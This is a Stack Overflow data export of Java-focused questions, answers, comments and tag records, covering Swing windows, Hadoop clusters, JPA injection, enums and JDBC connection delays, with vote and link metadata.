type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22291021
accepted answer of: http://stackoverflow.com/q/22291021

http://stackoverflow.com/comment/33680693
score: 0
type: AnswerComment
has text: How Can I register it in this file?
type: Comment
comment on: http://stackoverflow.com/a/22188302

http://stackoverflow.com/comment/33761832
comment on: http://stackoverflow.com/q/22233512
has text: Check this http://stackoverflow.com/questions/4308224/hibernate-validation-of-collections-of-primitives
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33853210
comment on: http://stackoverflow.com/a/22283938
type: AnswerComment
score: 0
has text: Thank you! I know that my code is all still messy and ugly, but i'm trying to get better at it! so tnx for your help, i will definitely check out the cardlayout.
type: Comment

http://stackoverflow.com/q/22258226
has comment: http://stackoverflow.com/comment/33815651
favorite count: 0
has title: Functional transparency on mac but not windows?
has comment: http://stackoverflow.com/comment/33807175
has answer: http://stackoverflow.com/a/22310660
accepted answer: http://stackoverflow.com/a/22310660
tagged with: swing
has body: Searching stackoverflow for the answer to this question only led me to other questions asking how to accomplish transparency on one or the other, none that came up had the issue of transparency functioning on one, but not the other. I'm sure by now you've been able to figure out the issue, but i'll explain in a little more depth... A friend and I are working on a java application and on running, a launcher is brought up. He uses a mac, and the JFrame was gotten to be transparent, however when I sync'd the project to my computer; A windows PC, The background of the JFrame was visible and the graphics on top flashed, kind of like a strobe light. If anyone could provide any kind of insight it would be greatly appreciated, and if more information needs to be provided, I will try to go through program more deeply, and get more info. private void setUpWindow(int width, int height) { setIconImage(images.get(1)); setSize(width, height); setUndecorated(true); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setBackground(new Color(0,255,0,0)); setLayout(new BorderLayout()); addMouseListener(this); setResizable(false); setLocationRelativeTo(null); addComponents(); requestFocus(); setVisible(true); } private void addComponents() { setContentPane(new BackPanel()); getContentPane().setBackground(Color.BLACK); setLayout(new BorderLayout()); panel.setSize(screenSize); add(panel); } Window size is 1000x600 public class BackPanel extends JPanel { public BackPanel() { setOpaque(false); setVisible(true); } @Override protected void paintComponent(Graphics g) { super.paintComponent(g); Graphics2D overGraphics2D = (Graphics2D)g.create(); overGraphics2D.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_OVER, 0.0f)); overGraphics2D.setColor(Color.BLACK); overGraphics2D.fill(getBounds()); overGraphics2D.dispose(); } } public class DrawingPanel extends JPanel { public DrawingPanel() { setVisible(true); } @Override protected void paintComponent(Graphics g) { super.paintComponent(g); r…
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33807787
has comment: http://stackoverflow.com/comment/33807055
downvote count: 0
score: 1
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33806940
answer count: 1
has comment: http://stackoverflow.com/comment/33817133
upvote count: 1
linked to: http://stackoverflow.com/q/11703794

http://stackoverflow.com/comment/33863706
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/22287367
has text: Think of it this way: order, equality, and categorization -- i.e. binning or hashing -- are artifacts of taxonomy, not intrinsic characteristics of most objects you may ever need to model.
score: 0

http://stackoverflow.com/comment/33704734
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/22201979
has text: To answer in part, you cannot explicitly delete objects in Java. Java uses a Garbage Collection (or GC) system, which automatically collects (and deletes) objects. Objects may very well be deleted before the program completes.
type: Comment

http://stackoverflow.com/comment/47369843
score: 1
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/29611714
has text: Simply pasting code is not considered a good answer. While this may be correct, it does nothing to help the OP understand their problem or your solution.

http://stackoverflow.com/comment/33925166
type: AnswerComment
has text: what are those cases?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22324453

http://stackoverflow.com/a/22180273
has comment: http://stackoverflow.com/comment/33666347
has comment: http://stackoverflow.com/comment/33666509
score: 7
type: AcceptedAnswer
has body: Okay here's the math that will be involved to give you the location of your desired point. Diagram for reference: To find the Green point, all we need to do is find the find the height and the width of the imaginary rectangle (see image), which are labeled as Adj and Opp respectively, and add those values to the Center point. If you remember SOH CAH TOA, we'll leverage TOA: Tan(Theta) = Opposite / Adjacent which can be re-arranged to: Opposite = Tan(Theta) * Adjacent So we'll need to first find Adjacent (Adj) and Theta. Consulting the diagram, Adj is obviously the difference in y between Orange and Center: Adj = Orange.y - Center.y But we don't know Orange? Well, Orange would be equal to Center plus half the height of the rectangle: Orange = (Center.x, Center.y + Rect.Height/2) Subbing the value of Orange back into our Adj calculation: Adj = Center.y + Rect.Height/2 - Center.y Adj = Rect.Height/2 Next we need to find Theta. Rerfering back to SOH CAH TOA CAH: Cos(Theta) = Adjacent / Hypotenuse Theta = acos(Adjacent / Hypotenuse) //Inverse cosine We already know that Adj = Rect.Height/2 from earlier, so we just need to find Hyp. To find Hyp we can use the distance formula which says: d = sqrt((x2 - x1)^2 + (y2 - y1)^2) In our case: Hyp = sqrt((Center.x - Mouse.x)^2 + (Center.y - Mouse.y)^2) So now we have everything we need for Theta: Theta = acos(Adj / Hyp) //Inverse cosine Finally, we have what we need for Opp: Opp = Tan(Theta) * Adjacent Which means we have everything we need to answer your question: Green = (Center.x + Opp, Center.y + Adj) Notes: This is the "on paper math" using degrees. A lot of programming languages deal with radians instead of degrees, so you may have to do some converting. As @Jerry Andrews pointed out, there will be four different cases to this problem, which correspond to the four different sides of the rectangle that your drawing point could fall on: To determine the quadrant, he first needs the angle between the center of the rectangle an…
answers question: http://stackoverflow.com/q/22178295
upvote count: 7
has comment: http://stackoverflow.com/comment/33672072
type: Answer
has comment: http://stackoverflow.com/comment/33666819
accepted answer of: http://stackoverflow.com/q/22178295
downvote count: 0

http://stackoverflow.com/a/22218778
type: Answer
answers question: http://stackoverflow.com/q/22218405
score: 0
has body: I've visited the page you are trying to parse and in the browser console I've written: $('div#srp_sl_result div.att-item') The search returned a div: 6 次 出價 399 元 ｜ 直購 399 元 HappyLife【SP323】納川6+1家庭裝真空收納袋/真空袋/壓縮袋/棉被衣物衣服收納~附吸氣管 HappyLife【SP323】納川6+1家庭裝真空收納袋/真空袋/壓縮袋/棉被衣物衣服收納~附吸氣管 HappyLife快樂生活網 So I don't understand why you have so many elements returned. In any case element.ownText() returns the text of that div, excluding any inner element, so no text should be shown because that div has no text, only other elements

http://stackoverflow.com/comment/33881301
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22298389
has text: The back-end guy's code is wrong, so tell him to fix it. The "encryption" it performs is broken in two major ways. First, it uses a fixed null IV, instead of a random unique IV. Second, it doesn't perform any form of authenticity verification, which leaves you open to all sorts of nasty padding oracle issues and malleability attacks - the solution is to use something like HMAC-SHA256 to ensure the integrity and authenticity of the encrypted message.

jboss
tags question: http://stackoverflow.com/q/22255369
tags question: http://stackoverflow.com/q/22318926
tags question: http://stackoverflow.com/q/22327445
tags question: http://stackoverflow.com/q/22217858
tags question: http://stackoverflow.com/q/22317485
tags question: http://stackoverflow.com/q/22174784
tags question: http://stackoverflow.com/q/22210311
tags question: http://stackoverflow.com/q/22183382
tags question: http://stackoverflow.com/q/22324478
tag name: jboss
tags question: http://stackoverflow.com/q/22308866
type: Tag
tags question: http://stackoverflow.com/q/22274119
tags question: http://stackoverflow.com/q/22236746
tags question: http://stackoverflow.com/q/22311464
tags question: http://stackoverflow.com/q/22173130
tags question: http://stackoverflow.com/q/22169971
tags question: http://stackoverflow.com/q/22303265
tags question: http://stackoverflow.com/q/22246731
tags question: http://stackoverflow.com/q/22184412
tags question: http://stackoverflow.com/q/22325482
tags question: http://stackoverflow.com/q/22197593
tags question: http://stackoverflow.com/q/22307748

http://stackoverflow.com/comment/39649703
score: 0
type: AnswerComment
has text: what are the problems you are facing
type: Comment
comment on: http://stackoverflow.com/a/22316150

http://stackoverflow.com/q/22238768
tagged with: cluster-computing
has comment: http://stackoverflow.com/comment/33794542
tagged with: configuration
tagged with: java
type: Question
tagged with: hadoop
has body: I am new to hadoop. I try to setup hadoop(version 1.2.1) cluster(1 master and 5 slave nodes) by following the post by Michael Noll at http://www.michael-noll.com/tutorials/running-hadoop-on-ubuntu-linux-multi-node-cluster/ Before I am running the word count job on the cluster, everything seems good. When I start the cluster by running the following cmd on master node: hadoop/start-all.sh The jps output is correct: On master: li@master:~$ jps 12839 TaskTracker 11814 NameNode 12535 JobTracker 25131 Jps 12118 DataNode 12421 SecondaryNameNode On 5 slave nodes: li@slave1:~/hadoop/logs$ jps 4605 TaskTracker 19407 Jps 4388 DataNode When I run stop cmd on master: hadoop/stop-all.sh jps gives nothing on master and slave nodes But when I run the word count job on the cluster I think the cluster does not work alright. The task logs on slaves node did not match what Michael Noll got in his post. It seems the job only got executed on master. The other 5 slave nodes did not get assigned map reduce task to perform. Here are some log files: console output on Master: hadoop jar hadoop-examples-1.2.1.jar wordcount /user/li/gutenberg /user/li/gutenberg-output 14/03/06 17:11:09 INFO input.FileInputFormat: Total input paths to process : 7 14/03/06 17:11:09 INFO util.NativeCodeLoader: Loaded the native-hadoop library 14/03/06 17:11:09 WARN snappy.LoadSnappy: Snappy native library not loaded 14/03/06 17:11:10 INFO mapred.JobClient: Running job: job_201402211607_0014 14/03/06 17:11:11 INFO mapred.JobClient: map 0% reduce 0% 14/03/06 17:11:17 INFO mapred.JobClient: map 14% reduce 0% 14/03/06 17:11:19 INFO mapred.JobClient: map 57% reduce 0% 14/03/06 17:11:20 INFO mapred.JobClient: map 85% reduce 0% 14/03/06 17:11:21 INFO mapred.JobClient: map 100% reduce 0% 14/03/06 17:11:24 INFO mapred.JobClient: map 100% reduce 33% 14/03/06 17:11:27 INFO mapred.JobClient: map 100% reduce 100% 14/03/06 17:11:28 INFO mapred.JobClient: Job complete: job_201402211607_0014 14/03/06 17:11:28 INFO mapred.JobClie…
answer count: 1
has title: hadoop multinode cluster - slave nodes failed to perform mapreduce task
score: 0
linked to: http://stackoverflow.com/q/16403576
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22243089

http://stackoverflow.com/comment/33833745
type: AnswerComment
comment on: http://stackoverflow.com/a/22273133
type: Comment
has text: None of them. UML is used to talk to other technical people. It isn't meant to be used with a non-technical audience. For them you want to write a user manual.
score: 3

http://stackoverflow.com/comment/33706317
has text: Does the other computer have access to your "local" computer? Are you on a network (so you could create a "shared folder")? Are you trying to deliver your project on a "web server", then there is another way to do that.
type: Comment
comment on: http://stackoverflow.com/q/22202583
score: 0
type: QuestionComment

http://stackoverflow.com/comment/33773077
score: 0
comment on: http://stackoverflow.com/q/22239338
type: Comment
type: QuestionComment
has text: {3, 4, 5} + {5, 6, 7} would be (9,1,2)

http://stackoverflow.com/a/22204844
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/22179670
has comment: http://stackoverflow.com/comment/34027971
score: 2
has body: The state pattern's context says that an object's behavior is dependent on its state, and its methods contain if/then (or case) logic reflecting conditions based on states. The pattern provides an alternative to those case statements. The solution is to create classes for each state, implementing a common interface. State-dependent operations are delegated from the context object to its current state object. The context object points to a state object that reflects its current state. So, if I understand your question, then Domain objects (à la DDD) are the context objects and you want to avoid case logic in them. Otherwise, you don't need the state pattern (and you can stop reading now if you want, since the rest doesn't apply). Craig Larman's Applying UML and Patterns 3rd Edition book has a chapter on Designing a Persistence Framework with Patterns and a section on Transactional States and the State Pattern. I believe his approach is compatible with DDD as it has been defined here. Actually, it's a variant of the PersistentObject idea from Scott Ambler <img src="https://www.plantuml.com/plantuml/png/ZL2zRi8m4Dxz51xR8P7As865B2m4YISuEoVLOCUHVO0YsdVlXH1aI4AxMBQ_l_ik7apTG00d8xKM-Gn6qz5PyMKgbEWQQgL3fp140OfXq2IrXHZbblzC9Aofy0vCNQezCdWHtbJoKvRhGaG2GhvlUspNFONspXbwUnSLMYJaIvxdVFwC0X8LszvqNkqxnydmk-Thqf0tqo1RFWxSWwjkfW-P7PliUpbZdL8N_wTk_g2AVXyRF3_jWejqFNguj5LnRJz52jvQ1VemagmiGZqeRjkxSYASS1nW0hLJ_gdoEUi-zz0oNUxZ23EC97QEaJIVeFm2" alt="State Pattern applied for persistent domain object"> Domain classes have state. In this example, the states are about persistence: New, OldClean, OldDirty, OldDelete and Deleted. See Larman's book for the details. A couple of details I couldn't easily annotate on the PlantUML image above: the PObjectState abstract class has default no-op bodies for each method (transition) the implementations, e.g., OldDirtyState.commit(...) handle the implementation of the behavior based on state. For persistence, this makes sense since they are generally behav…
upvote count: 2

http://stackoverflow.com/comment/33725970
comment on: http://stackoverflow.com/a/22207237
type: AnswerComment
score: 0
type: Comment
has text: It doesn't, I'm just trying to tell you what they probably want you to do. Besides, as I said before, the term "default constructor" is a somewhat loose term, as seen in the link I posted

http://stackoverflow.com/q/22252046
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22252080
has answer: http://stackoverflow.com/a/22252141
linked to: http://stackoverflow.com/q/6834037
tagged with: java
type: Question
tagged with: long-integer
has body: I want to declare a big constant. But java shows an error, that my constant is too big for int. But I want a long constant. What to do? public static final long MAXMONEY = 1000000000000000000;
has answer: http://stackoverflow.com/a/22252234
accepted answer: http://stackoverflow.com/a/22252080
has title: Java constant is out of range
linked to: http://stackoverflow.com/q/7093186
score: 0
duplicate of: http://stackoverflow.com/q/7093186
answer count: 4
possible better answer: http://stackoverflow.com/a/22252077
has answer: http://stackoverflow.com/a/22252077

http://stackoverflow.com/comment/33766611
score: 0
has text: I am using BCEL @AmirAfghani
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22236011

http://stackoverflow.com/comment/33808909
type: AnswerComment
has text: In pastebin code it says `getContentPane().revalidate;` is invalid and yah i am going off to sleep so be back tommorow
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22258751

http://stackoverflow.com/q/22186026
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22186242
accepted answer: http://stackoverflow.com/a/22186225
tagged with: image
has body: I'm trying to get the PayPal logo come up when you click the 'rightbutton' is clicked. Unfortunately, all that shows is the default Java logo with the cup of coffee and a pen. Also, how can I make it so once you click "OK" or "Cancel" it closes the JOptionPane, currently, when you click "OK" nothing happens, it keeps giving you the "OK" / "Cancel" option. rightbutton = new JButton("Right."); add(rightbutton); rightbutton.addActionListener( new ActionListener(){ public void actionPerformed(ActionEvent event){ //what do we want to happen when we //click the button final ImageIcon icon = new ImageIcon("C:\\Users\\Scr3am\\Desktop\\paypal.jpg"); JOptionPane.showOptionDialog(null, "Congratulations, you clicked the button.", "Congrats", JOptionPane.DEFAULT_OPTION, JOptionPane.INFORMATION_MESSAGE, null, new Object[] { panel }, icon); } } ); FULL CODE import java.awt.Container; import java.awt.FlowLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.io.File; import java.io.IOException; import javax.imageio.ImageIO; import javax.swing.ImageIcon; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JOptionPane; import javax.swing.JPanel; public class Password extends JFrame { JButton leftbutton; JButton centerbutton; JButton rightbutton; FlowLayout layout; Container container; Password(){ super("Toolbar"); layout = new FlowLayout(); //get bulk of window, so it knows where to put the stuff container = getContentPane(); setLayout(layout); //left stuff in here leftbutton = new JButton("Left"); add(leftbutton); leftbutton.addActionListener( new ActionListener(){ public void actionPerformed(ActionEvent event){ //what do we want to happen when we //click the button layout.setAlignment(FlowLayout.LEFT); } } ); final JPanel panel = new JPanel(); panel.add(new JButton("OK")); panel.add(new JButton("Cancel")); //center stuff in here centerbutton = new JButton("Center"); add(centerbutton); centerbutton.addActionListener( new Ac…
score: 0
answer count: 2
upvote count: 1
has answer: http://stackoverflow.com/a/22186225
linked to: http://stackoverflow.com/q/2417485
favorite count: 0
possible better answer: http://stackoverflow.com/a/22186242
tagged with: imageicon
linked to: http://stackoverflow.com/q/9864267
type: AnsweredQuestion
tagged with: joptionpane
tagged with: java
has title: ImageIcon Help + Close a JOptionPane
tagged with: swing

http://stackoverflow.com/a/22195477
has body: It will properly compile and run only if main function will have String tab as args. But also check versions of class C1 and C2, try rebuild your project to recompile that classes. public static void main(String args[]) { C1.test(); }
answers question: http://stackoverflow.com/q/22195324
score: 0
type: Answer

http://stackoverflow.com/comment/33704876
has text: @Deeyennay, the implementation of `EmployeeInt`/`RestaurantInt` (in particular, their `toString` methods) would be my first guess.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22201521

http://stackoverflow.com/a/22325823
has comment: http://stackoverflow.com/comment/33927569
has comment: http://stackoverflow.com/comment/33927915
accepted answer of: http://stackoverflow.com/q/22325721
has body: Intent intent = new Intent(this, NewActivity.class); intent.putExtra("BitmapImage", bitmap); and retrieve it on the other end: Intent intent = getIntent(); Bitmap bitmap = (Bitmap) intent.getParcelableExtra("BitmapImage");
score: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22325721
type: Answer

http://stackoverflow.com/comment/33819130
type: Comment
score: 0
type: QuestionComment
has text: Since the applet runs in the VM of the client, each client needs a JRE, and each applet instance will necessarily be distinct (unique).
comment on: http://stackoverflow.com/q/22240699

http://stackoverflow.com/a/22293829
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22293602
has body: " i found this code from a website" Copying ans pasting code is never the way to go. Learn how/why it works, and create your own code that uses the found code as a reference. " try to slide image it shows image not available i." Without running your program, because I don't have the image resources, I could see this problem. Your code, uses a getResource(), which will look for images in the class path. URL url = ImageSlider.class.getResource(name); The path name That is passed to it requires a class path reference. But what you are doing is passing an absolute path list.add("E:\\SOFTWARE\\TrainPIS\\res\\drawable\\yellow.png"); ... String name = "images/" + list.get(index); The way this code is set up, it looks like the producer of the code had their images folder inside the src and just passed/added the image file name e.g. "image.png" list.add("image.png"); You your file structure should look like ProjectRoot src images image.png NOTE: This is all just an educated guess. Try it out (change the image location and the paths. Also if it doesn't work, try to add a / before "images/" &rarr; "/images/"
type: AcceptedAnswer
score: 6
type: Answer
has comment: http://stackoverflow.com/comment/33872103
upvote count: 6
has comment: http://stackoverflow.com/comment/33872538
has comment: http://stackoverflow.com/comment/33872494
answers question: http://stackoverflow.com/q/22293602

http://stackoverflow.com/a/22225562
answers question: http://stackoverflow.com/q/22225442
score: 0
type: Answer
has body: I would store the list in sqlite. You can find many examples on the web on how to do this.

http://stackoverflow.com/comment/33659007
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22176438
score: 1
has text: @Gurjit you can't **use** the array until you create it. `char[] chars = new char[10];`.

http://stackoverflow.com/comment/33826519
comment on: http://stackoverflow.com/q/22269253
type: Comment
type: QuestionComment
score: 3
has text: T could be anything: a Car, a Plane, a Banana, a Socket. What would `socket < 10` mean?

http://stackoverflow.com/q/22230906
has body: I am curious to know how java stack threads are managed. Since there is one stack per thread that allocated on a segment of memory specifically requested from the operating system (see Here). When this memory is released? by garbage collector or by native thread? How java process signals to the OS that this memory segment isn't used any more? How this memory affected is the thread was terminated but his corresponding object still has references from other live object?
answer count: 1
downvote count: 0
linked to: http://stackoverflow.com/q/11025459
has answer: http://stackoverflow.com/a/22231241
tagged with: jvm
favorite count: 0
has title: Java Thread stack memory allocation and management
score: 2
tagged with: memory-management
type: AnsweredQuestion
tagged with: java
accepted answer: http://stackoverflow.com/a/22231241
type: Question
upvote count: 2

http://stackoverflow.com/q/22259765
type: Question
answer count: 2
linked to: http://stackoverflow.com/q/22037658
downvote count: 0
tagged with: modality
tagged with: jdialog
has body: I have a JFrame that spawns two JDialogs. Each of the three windows needs to be focusable (and are the way I currently have it written) but that JFrame won't go atop the dialogs. When you click on either dialog, they'll pop on top of each other (like one would expect), but that JFrame just refuses to come to the front. I need them to remain JDialogs (as opposed to being JFrames themselves) since most of the current behavior is desirable (i.e. when another window/application blocks any or all of the windows, if you select any of the windows they all come to the front (whereas three JFrames would result in only the selected one coming forward)). My JDialogs constructors are to this effect: SubDialog(JFrame parent /*, a handful, ofOther arguments */){ super(parent, ModalityType.MODELESS); //not even the modeless helped setAlwaysOnTop(false); //not even the not always on top helped setUndecorated(true); //maybe this has something to do with it (unlikely, just fyi)? //some simple variable assignments } I even tried tossing a setAlwaysOnTop(true) in my JFrame. No dice. I was getting desperate and even tried one of these numbers: MyJFrame(String title){ super(title); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); addWindowFocusListener(new WindowAdapter(){ public void windowGainedFocus(WindowEvent e){ final Window w = e.getWindow(); //PLEASE come to the front w.toFront(); //even MOAR desperation SwingUtilities.invokeLater(new Runnable(){ public void run(){ w.toFront(); //STILL no dice. } }); } }); } Thoughts? I got nothin'.
accepted answer: http://stackoverflow.com/a/22264100
has comment: http://stackoverflow.com/comment/33811133
favorite count: 0
possible better answer: http://stackoverflow.com/a/22260951
score: 5
has answer: http://stackoverflow.com/a/22260951
tagged with: swing
has title: How to make a JDialog not always on top of parent
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22264100
upvote count: 5
tagged with: java
has comment: http://stackoverflow.com/comment/33810075

http://stackoverflow.com/comment/33912829
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22317120
has text: sounds like an assignment. What have you done so far?
score: 0

http://stackoverflow.com/q/22324195
has comment: http://stackoverflow.com/comment/33937719
type: Question
has body: When my server is coming up; it is stuck in getting the connection from oralce DB for 2 mins at the very first time. I think after establishing the first DB connections; JDBC is very quick in getting the next connections. I have followed the below link https://community.oracle.com/message/3701989 As per that adding -Djava.security.egd=file:/dev/../dev/urandom is resolving my issue. Q1) But can i follow this solution? Q2) Where is the actual issue, Is it a problem with Sun API OR RedHAt OR Hardware ? Q3) This is not happening in Red Hat Enterprise Linux Server release 5.5 (Tikanga), why so ..? There is some good tutorial <a href="https://communities.ca.com/web/ca-identity-and-access-mgmt-distributed-global-user-community/message-board?p_auth=lItTump6&amp;p_p_auth=XxziF19G&amp;p_p_id=19&amp;p_p_lifecycle=1&amp;p_p_state=exclusive&amp;p_p_mode=view&amp;p_p_col_id=column-1&amp;p_p_col_count=1&amp;_19_struts_action=%2Fmessage_boards%2Fget_message_attachment&amp;_19_messageId=101857351&amp;_19_attachment=Entropy_-_Time+%26+Money_2013-11-01_v3.pdf" rel="nofollow">here But i didn't get it.
has title: JDBC Connection Reset when using 64 bit Red Hat Enterprise Linux Server release 6.2
downvote count: 0
score: 1
tagged with: rhel
tagged with: linux
tagged with: oracle-database
tagged with: jdbc
favorite count: 0
has comment: http://stackoverflow.com/comment/33930457
answer count: 0
type: UnansweredQuestion
upvote count: 1
tagged with: java

http://stackoverflow.com/comment/33775687
has text: Just return the index i.e i in contains method or if not found return -1. Why do you need index of?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22240925

http://stackoverflow.com/q/22267374
has comment: http://stackoverflow.com/comment/33823404
type: UnansweredQuestion
downvote count: 2
has comment: http://stackoverflow.com/comment/33823458
has comment: http://stackoverflow.com/comment/33823399
has body: out side the for loop i can't get all the values i am getting only last value the code is like below public static void getHTMLElements(List&lt;String&gt; urls) throws IOException { getElements(urls); for (Map.Entry&lt;String, HtmlElements&gt; entry1 : urlList.entrySet()) { HtmlElements htmlele = entry1.getValue(); System.out.println("url is " + entry1.getKey()); System.out.println("Element Name is " + htmlele.getElementName()); System.out.println("Attributes are " + htmlele.getAttributes()); } } public static void getElements(List&lt;String&gt; urls) throws IOException { try { for (int i = 0; i &lt; urls.size(); i++) { String s = urls.get(i); Document doc = Jsoup.connect(s).get(); getInputElements(doc, s); } } catch (Exception e) { e.printStackTrace(); } } public static void getInputElements(Document doc, String urls) { // List l=new ArrayList(); HtmlElements htmlElements = new HtmlElements(); Properties attributes = new Properties(); Elements elements = doc.getAllElements(); for (Element element : elements) { if (!element.tagName().contains("script")) { String elementName = element.tagName(); Attributes attr = element.attributes(); for (Attribute attr1 : attr) { if (attr1.getKey().contains("id")) { attributes.put(attr1.getKey(), attr1.getValue()); } if (attr1.getKey().contains("name")) { attributes.put(attr1.getKey(), attr1.getValue()); } if (attr1.getKey().contains("type")) { attributes.put(attr1.getKey(), attr1.getValue()); } } htmlElements.setElementName(elementName); htmlElements.setAttributes(attributes); } urlList.put(urls, htmlElements); } } } In the above code i am trying to get all the lelements from the website url.But,elementName i can't get properly.getting only last value.i want to get values outside the for loop.
tagged with: java
has answer: http://stackoverflow.com/a/22267535
type: Question
has comment: http://stackoverflow.com/comment/33823395
answer count: 2
upvote count: 0
score: -2
has comment: http://stackoverflow.com/comment/33823549
has comment: http://stackoverflow.com/comment/33823423
has title: Can't get the values out side the for loop
favorite count: 0
has answer: http://stackoverflow.com/a/22267509

http://stackoverflow.com/comment/33727745
has text: Why do you do this: `array1 = new int [array1.length];`??
comment on: http://stackoverflow.com/q/22214395
type: Comment
type: QuestionComment
score: 2

http://stackoverflow.com/comment/33773683
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22239694
has text: `Scanner java = new Scanner(System.in); int OD; int DO; System.out.println("Vnesi broj: "); DO = (int) java.nextDouble(); for (OD = 1; OD < DO; OD++) { System.out.println(DO); }`

http://stackoverflow.com/comment/33749837
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22226757
has text: C:\Android\sdk\tools\emulator.exe -avd AVD_for_Nexus_S_by_Google -netspeed full -netdelay none Device connected: emulator-5554 Device online: emulator-5554 Target device: AVD_for_Nexus_S_by_GoogleUploading local path: C:\Androd\AndroidStudioProjects\SimpleActivityExample\SimpleActivityExample\build\apk\SimpleActivityExample-debug-unaligned.apk remote path: /data/local/tmp/com.example.simpleactivityexample Installing com.example.simpleactivityexample DEVICE SHELL COMMAND: pm install -r "/data/local/tmp/com.example.simpleactivityexample" Error:Could not access Package Manager.Is system running?
score: 0

http://stackoverflow.com/a/62908184
answers question: http://stackoverflow.com/q/22328087
score: 0
has body: If you are using scene builder, then run it as administrator externally (not from the ide side). Problem will be solved.
type: Answer

http://stackoverflow.com/a/22215082
type: Answer
has body: You could check that last fetched value was null or not using the resultset method wasNull(). If it was true you can consider your getShort() value is null instead of 0 in your business logic.
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/22214640
upvote count: 2

http://stackoverflow.com/comment/33687935
type: AnswerComment
comment on: http://stackoverflow.com/a/22180325
type: Comment
has text: Thank you. Yes i mean the broker side. I needed to understand how to create "topic" and "topic" hierarchies. So do you mean that is a work for the client side? However now i've more info to start something :)
score: 0

http://stackoverflow.com/comment/33883638
has text: But it is not overriding the tostring method, is it?
comment on: http://stackoverflow.com/a/22300622
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33823272
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22264751
type: Comment
has text: Thanks guys. I found the issue: stupidity. I was looking at a previous log from prior to when I fixed the error.

http://stackoverflow.com/a/22304842
answers question: http://stackoverflow.com/q/22301426
score: 41
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33891428
type: Answer
has comment: http://stackoverflow.com/comment/96795480
upvote count: 41
has body: The EntityManager interface belongs to JPA and is implemented by JPA providers (such as Eclipse), not Spring, and it has its own injection annotation: @PersistenceContext. EntityManager objects are transaction-scoped and should not be exposed as beans as you're doing. Instead, either use the JPA annotation to inject the EntityManager: @PersistenceContext EntityManager em; or, since it looks like you're trying to use Spring repositories, inject the repository instead: @Autowired PersonRepository pr;
accepted answer of: http://stackoverflow.com/q/22301426

http://stackoverflow.com/comment/33797585
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22253220
has text: Yes you're right, but that doesn't solve the problem
score: 0

http://stackoverflow.com/a/22305630
accepted answer of: http://stackoverflow.com/q/22305557
answers question: http://stackoverflow.com/q/22305557
type: Answer
has body: We don't know what the getValues() method you're using exactly doing. Is it supposed to be values(). Anyway, you can always add a static method in your enum, which returns the correct enum instance for that value, and invoke it wherever you need it: public enum AipType { Unknown(-1), None(0), AipMod(1), AipNoMod(2); private final int id; AipType(int id) {this.id = id;} public int getValue() {return id;} public static AipType fromValue(int id) { for (AipType aip: values()) { if (aip.getValue() == id) { return aip; } } return null; } } If you're invoking fromValue() too often, you might also want to cache the array returned by values() inside the enum itself, and use it. Or even better, a map would be a better idea.
score: 7
upvote count: 7
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/22315041
has answer: http://stackoverflow.com/a/22315080
tagged with: output
has answer: http://stackoverflow.com/a/22315112
type: Question
score: 0
accepted answer: http://stackoverflow.com/a/22315079
answer count: 3
has body: How would I fix the output? int row = 4, cols = 4; Stack&lt;Piece&gt; board[][] = new Stack[row] for (int i = 0; i &lt; row; i++){ for (int j = 0; j &lt; cols; j++){ board[i][j] = new Stack&lt;Piece&gt;(); System.out.println(board[i][j]); } } this is what I get: [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] I am trying to get to right output as this: [][][][] [][][][] [][][][] [][][][] 4x4 board, instead of every line. It would be great if you guys can help me out. Thanks.
has title: Stack Board Output
has answer: http://stackoverflow.com/a/22315079
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/22315080
tagged with: stack
tagged with: java

http://stackoverflow.com/comment/33860313
comment on: http://stackoverflow.com/q/22287723
score: 0
type: Comment
type: QuestionComment
has text: Create three interfaces and have a function that returns the appropriate "level" of interface? This does have precedence in, say, COM; an object can present any number of interfaces, and you query for the interface you want.

http://stackoverflow.com/comment/33861591
has text: @StijndeWitt yes geniatagger is (unix) command line tool which does Named entity recognition on text and produce the output..
score: 0
comment on: http://stackoverflow.com/q/22287622
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33820471
comment on: http://stackoverflow.com/q/22265434
score: 0
type: Comment
type: QuestionComment
has text: The reason I want to do it is because I want to control my program in both way by using command and GUI.

http://stackoverflow.com/comment/33809373
type: QuestionComment
score: 0
has text: For my maven builds I use cargo. Using ant this can be used as well. It supports all kind of app servers. If you need the full jee stack you should use glassfish or jboss. For lighter deployments tomcat will do it.
comment on: http://stackoverflow.com/q/22257334
type: Comment

collections
